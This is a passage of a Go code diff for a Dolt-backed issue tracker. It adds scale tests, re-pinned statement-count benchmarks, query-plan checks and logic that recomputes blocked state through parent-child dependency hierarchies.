%v", bs.size, err) + } + } + elapsedBatch := time.Since(start) + _ = txb.Rollback() + t.Logf("TIMING batched-recompute-%03d %s for %d x %d ids (%s each)", + bs.size, elapsedBatch.Round(time.Millisecond), bs.reps, len(batchIDs), + (elapsedBatch / time.Duration(bs.reps)).Round(time.Microsecond)) + } + + // The write path end to end: close scaleClosesTimed open leaves one at a + // time, each through the store's own CloseIssue, which recomputes the + // affected batch and commits. + targets := make([]string, 0, scaleClosesTimed) + for i := scaleFirstTarget + scaleOpenTargets; len(targets) < scaleClosesTimed && i < scaleIssues; i++ { + targets = append(targets, scaleID(i)) + } + for i := 100; len(targets) < scaleClosesTimed && i < scaleFirstTarget; i++ { + targets = append(targets, scaleID(i)) + } + start = time.Now() + for _, id := range targets { + if err := store.CloseIssue(ctx, id, "scale timing", "tester", ""); err != nil { + t.Fatalf("close %s: %v", id, err) + } + } + elapsed := time.Since(start) + t.Logf("TIMING write-path %s for %d CloseIssue (%s each)", + elapsed.Round(time.Millisecond), len(targets), + (elapsed / time.Duration(len(targets))).Round(time.Microsecond)) +} + +// buildScaleFixture writes the graph and returns the number of dependency +// edges it added. +// +// Every blocks edge goes in BEFORE any parent-child edge, and the parent-child +// edges go in with SkipCycleCheck. That is not a convenience: the close-gate +// shape is refused once both edges exist, in either order +// (CheckBlockingHierarchyInTx rejects a blocker that is a descendant, +// CheckDependencyCycleInTx rejects the parent-child edge that closes the +// loop), so one-edge-at-a-time is how the shape arrives in a real store too. +func buildScaleFixture(ctx context.Context, t *testing.T, store *DoltStore) int { + t.Helper() + + issues := make([]*types.Issue, 0, scaleIssues) + for i := 0; i < scaleIssues; i++ { + issues = append(issues, &types.Issue{ + ID: scaleID(i), + Title: "scale " + scaleID(i), + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + }) + } + if err := store.RunInTransaction(ctx, "scale fixture: issues", func(tx storage.Transaction) error { + return tx.CreateIssues(ctx, issues, "tester") + }); err != nil { + t.Fatalf("create scale issues: %v", err) + } + + type edge struct { + src, tgt string + ty types.DependencyType + } + var edges []edge + + openTarget := func(k int) string { + return scaleID(scaleFirstTarget + scaleOpenTargets - 1 - (k % scaleOpenTargets)) + } + + // Roots 0..4: a close gate over a GRANDCHILD — leaf 110+r hangs under epic + // 10+r, which hangs under root r. This is the depth-2 lock: it must not + // darken anything under the root. + for r := 0; r < 5; r++ { + edges = append(edges, edge{scaleID(r), scaleID(110 + r), types.DepBlocks}) + } + // Roots 5..9: exogenously blocked, so their whole subtree inherits. + for r := 5; r < 10; r++ { + edges = append(edges, edge{scaleID(r), openTarget(r), types.DepBlocks}) + } + // Epics 10..49: exogenously blocked. Epics 50..79: a close gate on one of + // their own direct children. Epics 80..99: clear. + for e := 10; e < 50; e++ { + edges = append(edges, edge{scaleID(e), openTarget(e), types.DepBlocks}) + } + for e := 50; e < 80; e++ { + edges = append(edges, edge{scaleID(e), scaleID(100 + e), types.DepBlocks}) + } + // Ordinary leaf-to-leaf blocks edges: sources 100..699, targets 700..999, + // most of which are closed below, so only some sources end up blocked. + strides := []int{13, 29, 47} + for i := 100; i < scaleFirstTarget; i++ { + for k := 0; k < scaleEdgesPerLeaf; k++ { + tgt := scaleFirstTarget + (i*strides[k]+7*k+3)%(scaleIssues-scaleFirstTarget) + edges = append(edges, edge{scaleID(i), scaleID(tgt), types.DepBlocks}) + } + } + // The hierarchy, last: leaves under epics, epics under roots. + for i := scaleEpics; i < scaleIssues; i++ { + edges = append(edges, edge{scaleID(i), scaleID(i % scaleEpics), types.DepParentChild}) + } + for e := 10; e < scaleEpics; e++ { + edges = append(edges, edge{scaleID(e), scaleID(e % 10), types.DepParentChild}) + } + + // One transaction per chunk: a single transaction over every edge holds the + // whole fixture in the uncommitted overlay, which is the pathological read + // shape #6288 documents and would measure the fixture rather than the code. + const chunk = 250 + for start := 0; start < len(edges); start += chunk { + end := start + chunk + if end > len(edges) { + end = len(edges) + } + batch := edges[start:end] + if err := store.RunInTransaction(ctx, "scale fixture: edges", func(tx storage.Transaction) error { + for _, e := range batch { + if err := tx.AddDependencyWithOptions(ctx, + &types.Dependency{IssueID: e.src, DependsOnID: e.tgt, Type: e.ty}, + "tester", storage.DependencyAddOptions{SkipCycleCheck: true}); err != nil { + return fmt.Errorf("add %s -> %s (%s): %w", e.src, e.tgt, e.ty, err) + } + } + return nil + }); err != nil { + t.Fatalf("scale fixture edges: %v", err) + } + } + + // Close most of the target pool so the blocked fraction is a fraction. + for i := scaleFirstTarget; i < scaleIssues-scaleOpenTargets; i++ { + if err := store.CloseIssue(ctx, scaleID(i), "scale fixture", "tester", ""); err != nil { + t.Fatalf("close scale target %s: %v", scaleID(i), err) + } + } + + return len(edges) +} + +func recomputeAllScale(ctx context.Context, t *testing.T, store *DoltStore) int64 { + t.Helper() + tx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin scale recompute tx: %v", err) + } + changed, err := issueops.RecomputeAllIsBlockedInTx(ctx, tx) + if err != nil { + _ = tx.Rollback() + t.Fatalf("scale RecomputeAllIsBlockedInTx: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit scale recompute tx: %v", err) + } + return changed +} + +func scaleCountInconsistencies(ctx context.Context, t *testing.T, store *DoltStore) int64 { + t.Helper() + n, err := issueops.CountIsBlockedInconsistenciesInTx(ctx, store.db) + if err != nil { + t.Fatalf("scale CountIsBlockedInconsistenciesInTx: %v", err) + } + return n +} + +func scaleBlockedCount(ctx context.Context, t *testing.T, store *DoltStore) int { + t.Helper() + var n int + if err := store.db.QueryRowContext(ctx, + "SELECT COUNT(*) FROM issues WHERE is_blocked = 1").Scan(&n); err != nil { + t.Fatalf("count blocked rows: %v", err) + } + return n +} diff --git a/internal/storage/dolt/large_batch_apply_measure_test.go b/internal/storage/dolt/large_batch_apply_measure_test.go index 9429bc03a..b5cb20d63 100644 --- a/internal/storage/dolt/large_batch_apply_measure_test.go +++ b/internal/storage/dolt/large_batch_apply_measure_test.go @@ -163,13 +163,14 @@ const statementCountToleranceDolt = 2 // lower these; a change for any other reason should be re-measured and // re-pinned deliberately, not adjusted to make a failure go away. // -// Re-pinned for the batch-create round-trip work (was 7008 / 14014 / 846); -// see pinnedEmbeddedStatementCounts in internal/storage/embeddeddolt for the +// Re-pinned for the batch-create round-trip work (was 7008 / 14014 / 846), +// then for the parent-child cascade (classic was 786); see +// pinnedEmbeddedStatementCounts in internal/storage/embeddeddolt for the // per-change breakdown. The two backends now agree to within the tolerance. var pinnedDoltStatementCounts = map[string]int64{ "356 (mol 1x)": 6396, "712 (mol 2x)": 12791, - "40 (classic)": 786, + "40 (classic)": 835, } // BenchmarkLargeBatchApply_Dolt is gated by setupBenchStore's own diff --git a/internal/storage/embeddeddolt/graph_walk_plan_test.go b/internal/storage/embeddeddolt/graph_walk_plan_test.go index 54fcec97c..de1224471 100644 --- a/internal/storage/embeddeddolt/graph_walk_plan_test.go +++ b/internal/storage/embeddeddolt/graph_walk_plan_test.go @@ -37,6 +37,11 @@ func (r *statementRecorder) ExecContext(ctx context.Context, q string, a ...any) return r.DBTX.ExecContext(ctx, q, a...) } +func (r *statementRecorder) QueryContext(ctx context.Context, q string, a ...any) (*sql.Rows, error) { + r.stmts = append(r.stmts, recordedStatement{q, a}) + return r.DBTX.QueryContext(ctx, q, a...) +} + func explainPlan(t *testing.T, tx *sql.Tx, st recordedStatement) string { t.Helper() rows, err := tx.QueryContext(context.Background(), "EXPLAIN PLAN "+st.query, st.args...) @@ -62,14 +67,36 @@ func explainPlan(t *testing.T, tx *sql.Tx, st recordedStatement) string { return plan } +// assertRecursiveMembersAreLookups checks a walk built on reachabilityMembers: +// one recursive member per dependency table, each a lookup join from the +// frontier into that table's issue_id index. +func assertRecursiveMembersAreLookups(t *testing.T, plan string) { + t.Helper() + for _, want := range []string{"IndexedTableAccess(dependencies)", "IndexedTableAccess(wisp_dependencies)"} { + if !strings.Contains(plan, want) { + t.Errorf("plan has no %s:\n%s", want, plan) + } + } + if got := strings.Count(plan, "LookupJoin"); got != 2 { + t.Errorf("plan has %d LookupJoin, want 2 (one per recursive member):\n%s", got, plan) + } + if got := strings.Count(plan, "keys: r.node"); got != 2 { + t.Errorf("plan probes the edge tables by the frontier node %d times, want 2:\n%s", got, plan) + } + if strings.Contains(plan, "InnerJoin") || strings.Contains(plan, "HashJoin") || strings.Contains(plan, "MergeJoin") { + t.Errorf("a recursive member is not a lookup join:\n%s", plan) + } +} + // TestGraphWalkPlansHonorJoinHints proves the engine honors the -// JOIN_ORDER/LOOKUP_JOIN hints the per-edge reachability walks and the batched +// JOIN_ORDER/LOOKUP_JOIN hints the per-edge reachability walks, the ancestor +// walk that seeds a parent-child edge's recompute, and the batched // blocked-state recompute carry — not just that the text is there. Without // them the embedded planner already plans the cycle walk's (statistics-less) // wisp_dependencies member as a scan join, and the recompute's legs can be // driven from an index scan of every open row (the sql-server flip described -// at shouldBeBlockedIDsUnionScopedSQL). A deleted, misspelled, or no longer -// resolvable hint (e.g. a renamed alias) fails here. +// at shouldBeBlockedIDsUnionScopedPrecomputedSQL). A deleted, misspelled, or +// no longer resolvable hint (e.g. a renamed alias) fails here. func TestGraphWalkPlansHonorJoinHints(t *testing.T) { skipUnlessEmbeddedDolt(t) fixture := newPristineEmbeddedDoltFixture(t, "walkplan") @@ -114,24 +141,29 @@ func TestGraphWalkPlansHonorJoinHints(t *testing.T) { t.Fatalf("recorded %d statements, want 3 (one cycle walk, two ancestor walks)", len(rec.stmts)) } for _, st := range rec.stmts { - plan := explainPlan(t, tx, st) - // One recursive member per dependency table, each a lookup join - // from the frontier into that table's issue_id index. - for _, want := range []string{"IndexedTableAccess(dependencies)", "IndexedTableAccess(wisp_dependencies)"} { - if !strings.Contains(plan, want) { - t.Errorf("plan has no %s:\n%s", want, plan) - } - } - if got := strings.Count(plan, "LookupJoin"); got != 2 { - t.Errorf("plan has %d LookupJoin, want 2 (one per recursive member):\n%s", got, plan) - } - if got := strings.Count(plan, "keys: r.node"); got != 2 { - t.Errorf("plan probes the edge tables by the frontier node %d times, want 2:\n%s", got, plan) - } - if strings.Contains(plan, "InnerJoin") || strings.Contains(plan, "HashJoin") || strings.Contains(plan, "MergeJoin") { - t.Errorf("a recursive member is not a lookup join:\n%s", plan) + assertRecursiveMembersAreLookups(t, explainPlan(t, tx, st)) + } + }) + + // ancestorChainInTx runs on every parent-child write and merge replay; it + // is reached here the way a write reaches it. + t.Run("ancestor-chain walk", func(t *testing.T) { + rec := &statementRecorder{DBTX: tx} + if _, _, err := issueops.AffectedByDepChangeInTx(ctx, rec, id(n-7), id(n/3), types.DepParentChild); err != nil { + t.Fatal(err) + } + var walks []recordedStatement + for _, st := range rec.stmts { + if strings.Contains(st.query, "WITH RECURSIVE ancestors") { + walks = append(walks, st) } } + if len(walks) != 1 { + t.Fatalf("recorded %d ancestor walks, want 1", len(walks)) + } + // The same members as the reachability walks; the reason filter is + // the outer SELECT's, so it adds no join. + assertRecursiveMembersAreLookups(t, explainPlan(t, tx, walks[0])) }) t.Run("blocked-state recompute", func(t *testing.T) { diff --git a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go index cbdb06800..e86710383 100644 --- a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go +++ b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go @@ -419,10 +419,25 @@ func TestLargeBatchApplyWallClock_Embedded(t *testing.T) { // // Net: 356 -613 (incl. the documented 1-statement jitter), 712 -1224, // classic -60. +// +// Re-pinned for the parent-child cascade (gastownhall/beads#6506; classic +// was 786). A parent-child edge now carries only a parent's exogenous +// blockedness, and in this shape each parent-child dep add pays seven more +// reads: +// - appendSiblingsUnderAncestorsInTx reseeds the parent's other children: +// one ancestorChainInTx walk and four child probes (both dependency +// tables, both parent columns), +5. +// - The batched mark/unmark reads its exogeneity set first +// (batchExogeneity): the parent-kind probe and the issue-parent read, +// +2. The probe skips the wisp-parent read, and the ancestry prune costs +// nothing while that read is empty. +// +// Net: classic +49 (seven distinct parent-child adds; the eighth repeats a +// pair and is a no-op). 356 and 712 are unchanged. var pinnedEmbeddedStatementCounts = map[string]int64{ "356 (mol 1x)": 6396, large712ShapeName: 12790, - "40 (classic)": 786, + "40 (classic)": 835, } // BenchmarkLargeBatchApply_Embedded benchmarks issueops.ApplyBatchInTx on diff --git a/internal/storage/issueops/blocked_consistency.go b/internal/storage/issueops/blocked_consistency.go index 7ae4400dd..36ed80c14 100644 --- a/internal/storage/issueops/blocked_consistency.go +++ b/internal/storage/issueops/blocked_consistency.go @@ -284,15 +284,21 @@ func recomputeIsBlockedCounting(ctx context.Context, tx DBTX, issueIDs, wispIDs var total int64 for { var changed int64 + // One exogeneity read per PASS, shared by every statement in it. It is + // a property of the PARENT, so the same answer serves both tables. + explained, err := subtreeExplainedParentsInTx(ctx, tx) + if err != nil { + return total, err + } if len(issueIDs) > 0 { - n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "issues", "i", "dependencies") + n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "issues", "i", "dependencies", explained) if err != nil { return total, err } changed += n } if len(wispIDs) > 0 { - n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "wisps", "w", "wisp_dependencies") + n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "wisps", "w", "wisp_dependencies", explained) if err != nil { return total, err } @@ -312,9 +318,12 @@ func recomputeIsBlockedCounting(ctx context.Context, tx DBTX, issueIDs, wispIDs // table using the unbatched semi-join statements, returning rows corrected. // Error wrapping mirrors runMarkUnmarkBatchedInTx verbatim — downstream // consumers (wh-bridge-sync among them) match on these strings. -func recomputeAllIsBlockedPassInTx(ctx context.Context, tx DBTX, table, alias, depTable string) (int64, error) { +func recomputeAllIsBlockedPassInTx( + ctx context.Context, tx DBTX, table, alias, depTable string, explained subtreeExplainedParents, +) (int64, error) { var changed int64 - res, err := tx.ExecContext(ctx, markAllBlockedSQL(table, alias, depTable)) + res, err := tx.ExecContext(ctx, + markAllBlockedSQL(table, alias, depTable, explained), explained.args()...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) } @@ -324,7 +333,8 @@ func recomputeAllIsBlockedPassInTx(ctx context.Context, tx DBTX, table, alias, d } changed += n - res, err = tx.ExecContext(ctx, unmarkAllBlockedSQL(table, alias, depTable)) + res, err = tx.ExecContext(ctx, + unmarkAllBlockedSQL(table, alias, depTable, explained), explained.args()...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) } @@ -340,54 +350,554 @@ func recomputeAllIsBlockedPassInTx(ctx context.Context, tx DBTX, table, alias, d // same predicate, restructured so the engine can execute it as a semi-join. // //nolint:gosec // G201: table, alias, and depTable are constants from the only two callers. -func markAllBlockedSQL(table, alias, depTable string) string { +func markAllBlockedSQL(table, alias, depTable string, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 1, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.is_blocked = 0 AND %[2]s.status <> 'closed' AND %[2]s.status <> 'pinned' AND %[2]s.id IN (%[3]s) - `, table, alias, shouldBeBlockedIDsUnionSQL(depTable)) + `, table, alias, shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explained)) } // unmarkAllBlockedSQL is the full-table analog of the batched unmark // template. NOT IN is null-hostile — one NULL in the subquery result makes the // predicate UNKNOWN for every row and the unmark silently stops firing — which -// is why every leg of shouldBeBlockedIDsUnionSQL carries an explicit +// is why every leg of the union carries an explicit // d.issue_id IS NOT NULL guard. // //nolint:gosec // G201: table, alias, and depTable are constants from the only two callers. -func unmarkAllBlockedSQL(table, alias, depTable string) string { +func unmarkAllBlockedSQL(table, alias, depTable string, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 0, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.is_blocked = 1 AND ( %[2]s.status = 'closed' OR %[2]s.status = 'pinned' OR %[2]s.id NOT IN (%[3]s) ) - `, table, alias, shouldBeBlockedIDsUnionSQL(depTable)) + `, table, alias, shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explained)) } -// shouldBeBlockedIDsUnionSQL selects, UNCORRELATED with any outer row, every -// depTable issue_id that currently has a reason to be blocked: one UNION leg -// per reason — an open blocks/conditional-blocks target (issue or wisp), a -// blocked parent-child parent (issue or wisp), a blocking waits-for gate. +// subtreeExplainedParents is one read of parentsExplainedBySubtreeSQL, pruned +// by pruneExplainedByAncestryInTx: the ids of blocked parents whose +// blockedness is solely explained by their own subtree, with nothing blocked +// above them that is not, and which therefore may not darken their children +// (gastownhall/beads#6506). The ids are split by the parent's kind. +// +// WHY THE IDS AND NOT THE SQL. A spliced `p.id NOT IN (deriving query)` is +// evaluated once per leg per statement, and a full repair pass is four +// statements over two parent kinds. Measured at 1000 issues / 2870 deps: +// 46 ms on origin/main, 420 ms with the set spliced into all four, 80 ms read +// once per pass and bound as ids. The read itself is the same query either +// way; what changes is how many times a pass pays for it. The BATCHED path +// makes the same trade against its own scope rather than the whole store +// (scopedExplainedParentsInTx) — spliced there, it measured 6.9x. +// +// The set is small by construction — blocked parents that carry a blocking +// reason of their own, all of whose reasons point inside their own subtree — +// so binding it as an IN-list is bounded by the blocked-parent count, not by +// the store. +type subtreeExplainedParents struct { + issueParents []string + wispParents []string +} + +// args returns the bound ids in the order the union's legs consume them: the +// issue-parent leg (3) before the wisp-parent leg (4). A caller that splices +// the union more than once (countStaleIsBlockedSQL) repeats this list once per +// splice, in the same order. +func (e subtreeExplainedParents) args() []any { + out := make([]any, 0, len(e.issueParents)+len(e.wispParents)) + for _, id := range e.issueParents { + out = append(out, id) + } + for _, id := range e.wispParents { + out = append(out, id) + } + return out +} + +// notInPlaceholders renders the leg's exclusion for n bound ids — and nothing +// at all for none, because `NOT IN ()` is a syntax error and "exclude nothing" +// is the right reading of an empty set. +func notInPlaceholders(n int) string { + if n == 0 { + return "" + } + return "AND p.id NOT IN (" + strings.TrimSuffix(strings.Repeat("?,", n), ",") + ")" +} + +// subtreeExplainedParentsInTx reads both kinds' sets, once, for every +// unbatched statement that needs them. +// +// It is ONE read per kind and not one per dependency table because exogeneity +// is a property of the PARENT — of its own blocking reasons and its own +// subtree — and says nothing about which table the children asking about it +// live in. The candidate restriction inside the query therefore spans both +// tables (unbatchedCandSources): a parent that is a parent anywhere is +// computed once and excluded everywhere. Halving the reads is the difference +// between the doctor count landing at 1.7x origin/main and at 1.4x. +func subtreeExplainedParentsInTx(ctx context.Context, tx DBTX) (subtreeExplainedParents, error) { + var read subtreeExplainedParents + var err error + + read.issueParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("issues", "dependencies", "depends_on_issue_id", unbatchedCandSources())) + if err != nil { + return read, fmt.Errorf("read issue parents explained by their own subtree: %w", err) + } + read.wispParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("wisps", "wisp_dependencies", "depends_on_wisp_id", unbatchedCandSources())) + if err != nil && !isTableNotExistError(err) { + return read, fmt.Errorf("read wisp parents explained by their own subtree: %w", err) + } + // Every parent in the store was a candidate, so a blocked parent this read + // did not return is one its own reasons do not explain. + return pruneExplainedByAncestryInTx(ctx, tx, read, true) +} + +// scopedExplainedParentsInTx is subtreeExplainedParentsInTx confined to ONE +// BATCH: the same two reads, but the candidate parents are read only from the +// batch's own dependency rows, so the set is derived for the handful of +// parents above the batch instead of for every parent in the store. +// +// WHY A READ AND NOT A SPLICE. The batched mark/unmark templates used to +// splice the deriving query into both of their parent-child legs, +// batch-scoped, which reads as the cheap option: the scope confines cand to +// the batch, so the subquery is small. It is not cheap. A spliced +// `p.id NOT IN (subquery)` is paid once per leg per STATEMENT, and a batched +// pass is a mark and an unmark, so one 200-id recompute derived the set four +// times. Measured at 1000 issues / 2870 deps on embedded dolt, one pass over +// 200 ids: 53 ms on origin/main, 422 ms with the query spliced into both legs +// of both statements (6.9x, against a 1.5x bar), 61 ms read once per batch and +// bound as ids. It is the same trade the unbatched statements make one level +// up (see subtreeExplainedParents): the read is the same query either way, +// and what changes is how many times a pass pays for it. +// +// scope is the batch predicate already rendered to placeholders +// ("AND d.issue_id IN (?,?,…)") and args its ids. Both parent kinds are read +// with the same scope, because exogeneity is a property of the PARENT and the +// batch is only what bounds which parents can be asked about. +func scopedExplainedParentsInTx( + ctx context.Context, tx DBTX, depTable, scope string, args []any, +) (subtreeExplainedParents, error) { + var read subtreeExplainedParents + hasIssueParent, hasWispParent, err := batchParentKindsInTx(ctx, tx, depTable, scope, args) + if err != nil { + if isTableNotExistError(err) { + return read, nil + } + return read, err + } + cands := []candSource{{depTable: depTable, scope: scope}} + + if hasIssueParent { + read.issueParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("issues", "dependencies", "depends_on_issue_id", cands), args...) + if err != nil { + return read, fmt.Errorf("read batch issue parents explained by their own subtree: %w", err) + } + } + if hasWispParent { + read.wispParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("wisps", "wisp_dependencies", "depends_on_wisp_id", cands), args...) + if err != nil && !isTableNotExistError(err) { + return read, fmt.Errorf("read batch wisp parents explained by their own subtree: %w", err) + } + } + // Only the batch's own parents were candidates, so the parents above them + // are read by id as the walk climbs. + return pruneExplainedByAncestryInTx(ctx, tx, read, false) +} + +// parentRef is one parent in pruneExplainedByAncestryInTx's walk: its id and +// its kind, which picks the tables its rows live in. The two id spaces are kept +// apart rather than trusted not to collide. +type parentRef struct { + id string + wisp bool +} + +// parentEdge is one parent-child edge from child up to a parent that is +// blocked. +type parentEdge struct { + child, parent parentRef +} + +// pruneExplainedByAncestryInTx drops from a read of parentsExplainedBySubtreeSQL +// every parent that is blocked FROM ABOVE: one with a blocked parent that is +// not itself explained, at any depth. It is the contract's recursive clause +// ("…or P's own parent-child parent is exogenously blocked") for parents that +// carry reasons of their own. +// +// WHY THE FIXPOINT DOES NOT CARRY IT. The read decides from a parent's OWN +// reason rows. The legs' p.is_blocked = 1 conjunct carries inheritance only +// for a parent with no reason row: such a parent is dark exactly while +// something above it cascades into it. A parent with a subtree reason is dark +// either way, so its bit says nothing about what is above it. Q blocks on +// outside X, pc P -> Q, P blocks on its own child C: the read explains P, so C +// comes bright while the epic above it is still gated by X. A one-level check +// ("no blocked parent outside the set") is not enough either. Put a second +// close gate between them (R blocks on X, pc Q -> R, Q blocks on P, pc P -> Q, +// P blocks on C): P's blocked parent Q is in the set, so P stays explained and +// R's gate never reaches C. Whether a parent is explained depends on the whole +// chain above it, and no is_blocked bit records that chain. +// +// So this resolves it here, over the few parents the read returned: +// +// - the edges: each explained parent's blocked parents +// (blockedParentEdgesInTx); +// - membership of every blocked parent the walk meets. A complete read +// already decides it: every parent in the store was a candidate, so a +// blocked parent it did not return is not explained. A batch-scoped read +// decided only the batch's parents, so the walk reads the rest by id +// (explainedAmongInTx) and keeps climbing while it finds explained ones; +// - the set itself (dropBlockedFromAbove): the GREATEST set of read parents +// all of whose blocked parents are in it. Start from everything read, and +// drop any parent with a blocked parent outside the set, until nothing +// drops. Greatest, because "exogenously blocked" needs a finite chain up +// to a real outside reason, so a malformed hierarchy cycle of close gates +// with nothing exogenous above it stays explained. The greatest set is +// unique, so the order of the drops cannot change it. +// +// COST. Nothing when the read is empty, which covers every store with no close +// gate and every batch with none at or above it. Otherwise it is one indexed +// edge read per level of nested close gates, plus a by-id read per level on +// the scoped path, over parents that are few by construction. +func pruneExplainedByAncestryInTx( + ctx context.Context, tx DBTX, read subtreeExplainedParents, complete bool, +) (subtreeExplainedParents, error) { + if len(read.issueParents) == 0 && len(read.wispParents) == 0 { + return read, nil + } + refs := read.refs() + // explained holds every blocked parent the walk has met: true while it is + // explained by its own subtree, false once it is known not to be. + explained := make(map[parentRef]bool, len(refs)) + for _, p := range refs { + explained[p] = true + } + above, err := climbBlockedParentsInTx(ctx, tx, refs, explained, complete) + if err != nil { + return read, err + } + dropBlockedFromAbove(explained, above) + + var out subtreeExplainedParents + for _, p := range refs { + switch { + case !explained[p]: + case p.wisp: + out.wispParents = append(out.wispParents, p.id) + default: + out.issueParents = append(out.issueParents, p.id) + } + } + return out, nil +} + +// refs lists the read's parents with their kinds, issue parents first. +func (e subtreeExplainedParents) refs() []parentRef { + out := make([]parentRef, 0, len(e.issueParents)+len(e.wispParents)) + for _, id := range e.issueParents { + out = append(out, parentRef{id: id}) + } + for _, id := range e.wispParents { + out = append(out, parentRef{id: id, wisp: true}) + } + return out +} + +// climbBlockedParentsInTx is pruneExplainedByAncestryInTx's walk: up from the +// read's parents through their blocked parents, returning the edges (child to +// its blocked parents) and entering every blocked parent it meets in +// explained. On a complete read it stops after one level; on a scoped read it +// climbs on from each new parent explainedAmongInTx finds explained. +func climbBlockedParentsInTx( + ctx context.Context, tx DBTX, frontier []parentRef, explained map[parentRef]bool, complete bool, +) (map[parentRef][]parentRef, error) { + above := make(map[parentRef][]parentRef) + for len(frontier) > 0 { + edges, err := blockedParentEdgesInTx(ctx, tx, frontier) + if err != nil { + return nil, err + } + var unknown []parentRef + for _, e := range edges { + above[e.child] = append(above[e.child], e.parent) + if _, met := explained[e.parent]; !met { + explained[e.parent] = false + unknown = append(unknown, e.parent) + } + } + if complete || len(unknown) == 0 { + break + } + frontier, err = explainedAmongInTx(ctx, tx, unknown) + if err != nil { + return nil, err + } + for _, p := range frontier { + explained[p] = true + } + } + return above, nil +} + +// dropBlockedFromAbove shrinks explained to the greatest set the contract +// allows: it drops any parent with a blocked parent outside the set, until +// nothing drops. +func dropBlockedFromAbove(explained map[parentRef]bool, above map[parentRef][]parentRef) { + for dropped := true; dropped; { + dropped = false + for p, ok := range explained { + if ok && !allExplained(above[p], explained) { + explained[p] = false + dropped = true + } + } + } +} + +func allExplained(parents []parentRef, explained map[parentRef]bool) bool { + for _, q := range parents { + if !explained[q] { + return false + } + } + return true +} + +// blockedParentEdgesInTx reads the parent-child edges from children up to a +// parent that is blocked. An edge lives in the child's dependency table and +// names the parent in the column for the parent's kind, so this is one lookup +// per child kind and parent kind, each keyed on the child's issue_id. The hints +// pin that drive, as on the batched legs. +// +//nolint:gosec // G201: table and column names are constants; the ids are ? placeholders. +func blockedParentEdgesInTx(ctx context.Context, tx DBTX, children []parentRef) ([]parentEdge, error) { + var issueIDs, wispIDs []string + for _, c := range children { + if c.wisp { + wispIDs = append(wispIDs, c.id) + } else { + issueIDs = append(issueIDs, c.id) + } + } + var out []parentEdge + for _, side := range []struct { + depTable string + ids []string + wisp bool + }{ + {"dependencies", issueIDs, false}, + {"wisp_dependencies", wispIDs, true}, + } { + for start := 0; start < len(side.ids); start += queryBatchSize { + end := min(start+queryBatchSize, len(side.ids)) + placeholders, args := buildSQLInClause(side.ids[start:end]) + for _, parent := range []struct { + table, col string + wisp bool + }{ + {"issues", "depends_on_issue_id", false}, + {"wisps", "depends_on_wisp_id", true}, + } { + edges, err := queryParentEdges(ctx, tx, fmt.Sprintf(` + SELECT /*+ JOIN_ORDER(d, p) LOOKUP_JOIN(d, p) */ d.issue_id, p.id + FROM %[1]s d + JOIN %[2]s p ON p.id = d.%[3]s + WHERE d.issue_id IN (%[4]s) + AND d.type = 'parent-child' + AND p.is_blocked = 1 + `, side.depTable, parent.table, parent.col, placeholders), args, side.wisp, parent.wisp) + if err != nil { + return nil, fmt.Errorf("read blocked parents of explained parents: %w", err) + } + out = append(out, edges...) + } + } + } + return out, nil +} + +// queryParentEdges runs one of blockedParentEdgesInTx's lookups and tags each +// (child, parent) row with the kinds the lookup was for. A table that does not +// exist has no edges. +func queryParentEdges( + ctx context.Context, tx DBTX, query string, args []any, childWisp, parentWisp bool, +) ([]parentEdge, error) { + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + if isTableNotExistError(err) { + return nil, nil + } + return nil, err + } + defer func() { _ = rows.Close() }() + var out []parentEdge + for rows.Next() { + var childID, parentID string + if err := rows.Scan(&childID, &parentID); err != nil { + return nil, fmt.Errorf("scan: %w", err) + } + out = append(out, parentEdge{ + child: parentRef{id: childID, wisp: childWisp}, + parent: parentRef{id: parentID, wisp: parentWisp}, + }) + } + return out, rows.Err() +} + +// explainedAmongInTx is parentsExplainedBySubtreeSQL for the named parents, by +// id. pruneExplainedByAncestryInTx uses it for the blocked parents above a +// batch that the batch-scoped read was not asked about. +// +// Unlike the wisp reads above, it does not tolerate a missing table, because it +// cannot meet one: the prune runs only on a non-empty read, and that read came +// from the same core query, which reads both item tables and both dependency +// tables whichever kind it asks about. +func explainedAmongInTx(ctx context.Context, tx DBTX, parents []parentRef) ([]parentRef, error) { + var out []parentRef + for _, kind := range []struct { + table, depTable string + wisp bool + }{ + {"issues", "dependencies", false}, + {"wisps", "wisp_dependencies", true}, + } { + var ids []string + for _, p := range parents { + if p.wisp == kind.wisp { + ids = append(ids, p.id) + } + } + for start := 0; start < len(ids); start += queryBatchSize { + end := min(start+queryBatchSize, len(ids)) + placeholders, args := buildSQLInClause(ids[start:end]) + found, err := queryIDs(ctx, tx, + parentsExplainedBySubtreeCoreSQL(kind.table, kind.depTable, candByIDSQL(kind.table, placeholders)), + args...) + if err != nil { + return nil, fmt.Errorf("read explained parents above the batch: %w", err) + } + for _, id := range found { + out = append(out, parentRef{id: id, wisp: kind.wisp}) + } + } + } + return out, nil +} + +// batchParentKindsInTx reports which parent KINDS the batch can possibly ask +// about: whether any parent-child row in the batch names an issue parent, and +// whether any names a wisp parent. +// +// It is the cheap guard in front of the two reads above, and it is what keeps +// the SMALL-batch case honest. A kind with no parent-child row in the batch +// has an empty candidate set, hence an empty exogeneity set, so its read is +// 